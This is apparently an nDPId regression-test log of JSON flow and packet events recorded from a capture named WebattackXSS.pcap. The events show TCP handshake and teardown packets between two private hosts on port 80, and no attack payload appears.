+00432{"flow_id":546,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7767,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347901,"pkt_ts_usec":874646,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ss5AAD4GewqsEAABwKgKMoQsAFDW1Dn9RF0Cn4ARAOVgoQAAAQEICgE8eDkD5kSk"} +00433{"flow_id":546,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7768,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347901,"pkt_ts_usec":874772,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0SzFAAEAGeKfAqAoyrBAAAQBQhCxEXQKf1tQ5\/oARAONbmAAAAQEICgPmSa4BPHg5"} +00432{"flow_id":546,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7769,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347901,"pkt_ts_usec":875503,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ss9AAD4GewmsEAABwKgKMoQsAFDW1Dn+RF0CoIAQAOVblQAAAQEICgE8eDoD5kmu"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7773,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":549,"flow_packet_id":1,"flow_first_seen":1499347903125,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33902,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":549,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7773,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347903,"pkt_ts_usec":125153,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Iy1AAD4GoqOsEAABwKgKMoRuAFDn\/lpfAAAAAKACchAdOQAAAgQFtAQCCAoBPHlyAAAAAAEDAwc="} +00445{"flow_id":549,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7774,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347903,"pkt_ts_usec":125254,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhG41OTml5\/5aYKAScSBgbQAAAgQFtAQCCAoD5krmATx5cgEDAwc="} +00434{"flow_id":549,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7775,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347903,"pkt_ts_usec":125831,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Iy5AAD4GoqqsEAABwKgKMoRuAFDn\/lpgNTk5poAQAOX\/dAAAAQEICgE8eXID5krm"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7782,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":550,"flow_packet_id":1,"flow_first_seen":1499347904387,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33916,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":550,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7782,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347904,"pkt_ts_usec":387079,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8wAJAAD4GBc6sEAABwKgKMoR8AFDhZ7qvAAAAAKACchDCNgAAAgQFtAQCCAoBPHqtAAAAAAEDAwc="} +00444{"flow_id":550,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7783,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347904,"pkt_ts_usec":387179,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhHxZjS4N4We6sKAScSDrcgAAAgQFtAQCCAoD5kwiATx6rQEDAwc="} +00432{"flow_id":550,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7785,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347904,"pkt_ts_usec":387689,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wANAAD4GBdWsEAABwKgKMoR8AFDhZ7qwWY0uDoAQAOWKeQAAAQEICgE8eq4D5kwi"} +00432{"flow_id":547,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7788,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347904,"pkt_ts_usec":875368,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zuNAAD4G9vSsEAABwKgKMoRGAFBlPbtS2bXNnoARAOXrAgAAAQEICgE8eycD5kck"} +00432{"flow_id":547,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7789,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347904,"pkt_ts_usec":875616,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0gQJAAEAGQtbAqAoyrBAAAQBQhEbZtc2eZT27U4ARAOPliwAAAQEICgPmTJwBPHsn"} +00432{"flow_id":547,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7790,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347904,"pkt_ts_usec":876392,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zuRAAD4G9vOsEAABwKgKMoRGAFBlPbtT2bXNn4AQAOXliAAAAQEICgE8eygD5kyc"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7794,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":551,"flow_packet_id":1,"flow_first_seen":1499347905694,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33930,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":551,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7794,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347905,"pkt_ts_usec":694349,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8dZJAAD4GUD6sEAABwKgKMoSKAFAcIA5mAAAAAKACchAycwAAAgQFtAQCCAoBPHv0AAAAAAEDAwc="} +00444{"flow_id":551,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7795,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347905,"pkt_ts_usec":694512,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhIr8f9XqHCAOZ6AScSAPmAAAAgQFtAQCCAoD5k1pATx79AEDAwc="} +00435{"flow_id":551,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7796,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347905,"pkt_ts_usec":695267,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dZNAAD4GUEWsEAABwKgKMoSKAFAcIA5n\/H\/V64AQAOWunwAAAQEICgE8e\/QD5k1p"} +00432{"flow_id":548,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7800,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347905,"pkt_ts_usec":874975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0T6xAAD4GdiysEAABwKgKMoRUAFAKnjlIcLu+q4ARAOU9VQAAAQEICgE8fCED5khh"} +00432{"flow_id":548,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7801,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347905,"pkt_ts_usec":875233,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08z1AAEAG0JrAqAoyrBAAAQBQhFRwu76rCp45SYARAOM4IQAAAQEICgPmTZYBPHwh"} +00432{"flow_id":548,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7802,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347905,"pkt_ts_usec":875776,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0T61AAD4GdiusEAABwKgKMoRUAFAKnjlJcLu+rIAQAOU4HgAAAQEICgE8fCID5k2W"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":509,"flow_packet_id":6,"flow_first_seen":1499347832201,"flow_last_seen":1499347837849,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33162,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":509,"flow_packet_id":6,"flow_first_seen":1499347832201,"flow_last_seen":1499347837849,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33162,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":510,"flow_packet_id":6,"flow_first_seen":1499347833462,"flow_last_seen":1499347838849,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33176,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":510,"flow_packet_id":6,"flow_first_seen":1499347833462,"flow_last_seen":1499347838849,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33176,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":511,"flow_packet_id":6,"flow_first_seen":1499347836095,"flow_last_seen":1499347841850,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33202,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":511,"flow_packet_id":6,"flow_first_seen":1499347836095,"flow_last_seen":1499347841850,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33202,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":512,"flow_packet_id":6,"flow_first_seen":1499347837373,"flow_last_seen":1499347842851,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33216,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":512,"flow_packet_id":6,"flow_first_seen":1499347837373,"flow_last_seen":1499347842851,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33216,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":513,"flow_packet_id":6,"flow_first_seen":1499347838675,"flow_last_seen":1499347843851,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33230,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":513,"flow_packet_id":6,"flow_first_seen":1499347838675,"flow_last_seen":1499347843851,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33230,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7812,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":552,"flow_packet_id":1,"flow_first_seen":1499347908253,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33956,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":552,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7812,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347908,"pkt_ts_usec":253421,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XLdAAD4GaRmsEAABwKgKMoSkAFDBACLDAAAAAKACchB2mwAAAgQFtAQCCAoBPH50AAAAAAEDAwc="} +00445{"flow_id":552,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7813,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347908,"pkt_ts_usec":253537,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhKRv9+kSwQAixKAScSDKoQAAAgQFtAQCCAoD5k\/oATx+dAEDAwc="} +00434{"flow_id":552,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7814,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347908,"pkt_ts_usec":254284,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XLhAAD4GaSCsEAABwKgKMoSkAFDBACLEb\/fpE4AQAOVpqQAAAQEICgE8fnQD5k\/o"} +00433{"flow_id":549,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7818,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347908,"pkt_ts_usec":875872,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Iy9AAD4GoqmsEAABwKgKMoRuAFDn\/lpgNTk5poARAOX51QAAAQEICgE8fxAD5krm"} +00433{"flow_id":549,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7819,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347908,"pkt_ts_usec":876129,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0aSJAAEAGWrbAqAoyrBAAAQBQhG41OTmm5\/5aYYARAOP0OAAAAQEICgPmUIQBPH8Q"} +00433{"flow_id":549,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7820,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347908,"pkt_ts_usec":876814,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IzBAAD4GoqisEAABwKgKMoRuAFDn\/lphNTk5p4AQAOX0NgAAAQEICgE8fxAD5lCE"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7824,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":553,"flow_packet_id":1,"flow_first_seen":1499347909575,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33970,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":553,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7824,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347909,"pkt_ts_usec":575256,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8\/H5AAD4GyVGsEAABwKgKMoSyAFC+M4PAAAAAAKACchAXEwAAAgQFtAQCCAoBPH++AAAAAAEDAwc="} +00446{"flow_id":553,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7825,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347909,"pkt_ts_usec":575381,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhLJ\/QSQIvjODwaAScSAfjwAAAgQFtAQCCAoD5lEzATx\/vgEDAwc="} +00433{"flow_id":553,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7826,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347909,"pkt_ts_usec":576124,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/H9AAD4GyVisEAABwKgKMoSyAFC+M4PBf0EkCYAQAOW+lQAAAQEICgE8f78D5lEz"} +00432{"flow_id":550,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7830,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347909,"pkt_ts_usec":876898,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wARAAD4GBdSsEAABwKgKMoR8AFDhZ7qwWY0uDoARAOWFHAAAAQEICgE8gAoD5kwi"} +00433{"flow_id":550,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7831,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347909,"pkt_ts_usec":877168,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0f3BAAEAGRGjAqAoyrBAAAQBQhHxZjS4O4We6sYARAON\/wQAAAQEICgPmUX4BPIAK"} +00433{"flow_id":550,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7832,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347909,"pkt_ts_usec":877741,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wAVAAD4GBdOsEAABwKgKMoR8AFDhZ7qxWY0uD4AQAOV\/vwAAAQEICgE8gAoD5lF+"} +00434{"flow_id":551,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7839,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347910,"pkt_ts_usec":876965,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dZRAAD4GUESsEAABwKgKMoSKAFAcIA5n\/H\/V64ARAOWpjgAAAQEICgE8gQQD5k1p"} +00432{"flow_id":551,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7840,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347910,"pkt_ts_usec":877186,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0h5NAAEAGPEXAqAoyrBAAAQBQhIr8f9XrHCAOaIARAOOkgAAAAQEICgPmUngBPIEE"} +00434{"flow_id":551,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7841,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347910,"pkt_ts_usec":877920,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dZVAAD4GUEOsEAABwKgKMoSKAFAcIA5o\/H\/V7IAQAOWkfgAAAQEICgE8gQQD5lJ4"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7845,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":554,"flow_packet_id":1,"flow_first_seen":1499347912141,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":554,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7845,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347912,"pkt_ts_usec":141438,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8AShAAD4GxKisEAABwKgKMoTMAFAccoNoAAAAAKACchC2kAAAAgQFtAQCCAoBPIJAAAAAAAEDAwc="} +00444{"flow_id":554,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7846,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347912,"pkt_ts_usec":141596,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhMwGDz+bHHKDaaAScSAaKwAAAgQFtAQCCAoD5lO0ATyCQAEDAwc="} 